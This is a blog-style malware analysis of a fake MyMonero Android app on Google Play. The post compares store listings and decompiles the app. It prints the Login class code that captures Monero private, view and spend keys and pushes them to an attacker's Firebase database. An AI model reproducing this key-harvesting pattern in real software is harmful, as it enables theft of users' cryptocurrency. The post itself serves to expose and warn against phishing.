I was surfing on Reddit quietly in a sunny day. I was busy since I had to work for many projects including Mastering Monero. At one point, I notice a new user thread asking if there ever was a MyMonero app for Android.

First of all, MyMonero is a private business founded by fluffypony who is the lead mantainer of Monero cryptocurrency. At the moment, this service is managed by Paul Shapiro who is the official iOS developer and CEO. MyMonero offers a free, and secure web-wallets for any users. In it, you have the total control of keys. In fact, it uses secure methods to access your funds without ever sending your secret seed to the third-party server.

Regarding Reddit post, the user asked if a MyMonero app for android exists and then he posted a URL. The URL is linked to an app called " My Monero - XMR" placed on Google Play store which looks like the official app for MyMonero wallet. But it’s wrong. It was an app built for stealing Monero keys of users who usually uses MyMonero via web interface. In this post, I’ll explain how the unknown attacker has tried to steal MyMonero keys, what tecniques he used for copying and scamming users.

What is phishing?

One of the most unfixable attack in the Information security engineering is phishing. Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords and credit card details by disguising as a trustworthy entity. It is one of the well-known social engineering attacks, preferred by hackers. You could have protection using firewalls, antivirus and you can even build the most secure device. But you can not doing anything in order to block social engineerings attacks.

The Fake Application

The app reported by the user seemed to be very official. The name was " My Monero - XMR" and as icon it had the Monero logo. This was one of the first red flags. At the time of writing, we know that MyMonero has been already published its own app on iOS systems.

MyMonero Fake Application on Google Play Store

Let’s compare the two pages. Firstly, we can notice the logo and the name are completely different. Secondly, if we look for screenshots we can observe the iOS one are more professional than the ones in the Google Store.

MyMonero Application on Apple Store

What about the email support? We know that MyMonero is hosted on mymonero.com and the official website of Monero is getmonero.org . The support email of the fake app reported on Google Play Store is “helpdesk@monero.com”. Firstly, monero.com is registered but it does not have the MX (Mail exchange) DNS records. That email account does not exist for the moment. The page of the fake app looks suspicious, then I choose to reverse it.

Reverse Engineering the fake Application

Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object. This can be applied to the software engineering too to discover potential bad actions of applications. An android app usually is developed with Java programming language. Package in Java is a mechanism to encapsulate a group of classes, sub packages and interfaces.

In this case, it helped a lot. One of the best tools to decompile an Android app is Apktool. Using this is really simple, you only need to have the apk file of the app. The main app package is called “market.transfer.secure.safe.mymonero”. Then in the folder where the app was decompiled, you need to go to " sources\transfer\secure\safe\mymonero". The classes contained in this folder are the base of the app.

At the first note, we need to getting deep into the code. In Launcher.java class which is responsible for the first action of the app, we can noticy that app calls two functions.

public void run() {
    Launcher.this.doWork();
    Launcher.this.startApp();
    Launcher.this.finish();
}

The first one called doWork() is a function which has the goal to “sleep” the main thread. In few words, it does nothing to the app. Users have to wait for the completation of the cicle.

private void doWork() {
        for (int i = 0; i < 100; i++) {
            Thread.sleep(20);
        }
    }

The “for” cicle gets the users to wait for 2 seconds. Then we get into the second function which is more interesting. The second function calls the function “startActivity” which calls the Home class.

startActivity(new Intent(this, Home.class));

That function calls the “Login” class which is the more interesting class I found in this app. It’s quite simple: this file is the “login” manager. What does it do? The class firstly create a login page very similar (almost identical) to the Mymonero page. Then it waits for the input user and if the input boxes are filled with keys, it logs anything to a Firebase container defined in the AndroidManifest.xml . Let’s analyze this step for step.

The login class is quite interesting. Firstly, the app creates the HTML elements for the login panel. For example, in this extract the app renders the two buttons “Login with private key” and “Login with public key” options.

Login.this.btnPublic.setBackgroundDrawable(ContextCompat.getDrawable(Login.this, C0325R.drawable.button_register));
Login.this.btnPrivate.setBackgroundDrawable(ContextCompat.getDrawable(Login.this, C0325R.drawable.button_login));
Login.this.btnPrivate.setTextColor(Color.parseColor("#5495E8"));
Login.this.btnPublic.setTextColor(Color.parseColor("#FFFFFF"));
MyMonero Options

When the user clicks the one of the button in order to submit login details, the app will send those details to a Firebase app container. Here it’s the extract of code.

  1. The app checks if the input box “Private key” is filled.
  2. The app checks if an Internet connection could be established. The app can not send the details if there’s no connection.
  3. Get private_key and language variables and encapsulate them into a Hashmap
  4. Push details to firebase database.
Login.this.validUtils;
if (ValidUtils.validateEditTexts(new EditText[]{Login.this.etPrivateKey}) == null) {
    Login.this.etPrivateKey.setError("Invalid private key");
    return;
    }
Login.this.validUtils;
if (ValidUtils.isNetworkAvailable(Login.this) == null) {
    new AlertDialog.Builder(Login.this).setMessage((CharSequence) "No internet connection found please enable your internet connection").setTitle((CharSequence) "Warning").setIcon(Login.this.getResources().getDrawable(C0325R.drawable.ic_warning_black_24dp)).show();
    return;
    }
    Login.this.progressDialog.setTitle("Processing...");
    Login.this.progressDialog.setMessage("Please wait");
    Login.this.progressDialog.show();
    view = Login.this.privateReference.push().getKey().toString();
    HashMap hashMap = new HashMap();
    hashMap.put("private_key", Login.this.etPrivateKey.getText().toString());
    hashMap.put("language", Login.this.spLanguage.getSelectedItem().toString());
    // Save details to remote Firebase database.
    Login.this.privateReference.child(view).setValue(hashMap);
    Login.this.startActivity(new Intent(Login.this, Dashboard.class));
    Login.this.finish();
    Login.this.progressDialog.dismiss();

This was the same for the other button “Login with public keys”.

hashMap.put("address_key", Login.this.etAddress.getText().toString());
hashMap.put("view_key", Login.this.etViewKey.getText().toString());
hashMap.put("spend_key", Login.this.etSpendKey.getText().toString());

Firebase bucket was open

The firebase bucket was open. That exposed more than 40 private keys and 20 public address of potential different users which may understimate the problem. NEVER expose your keys! Do not send your seed to anyone.

App details

Firebase url: REDACTED Installs: < 100 (according to Google Play statistics).

Conclusion: stopping this attack might be difficult

Understanding phishing is always difficult. Overall, it is real and dangerous. Everyone needs to watch out for it because it happens to everybody; and getting scammed can be costly. Thus, be careful, follow this advice; and always keep your eyes open to anything which even remotely sounds off because it may very well be scammers looking for their next victim.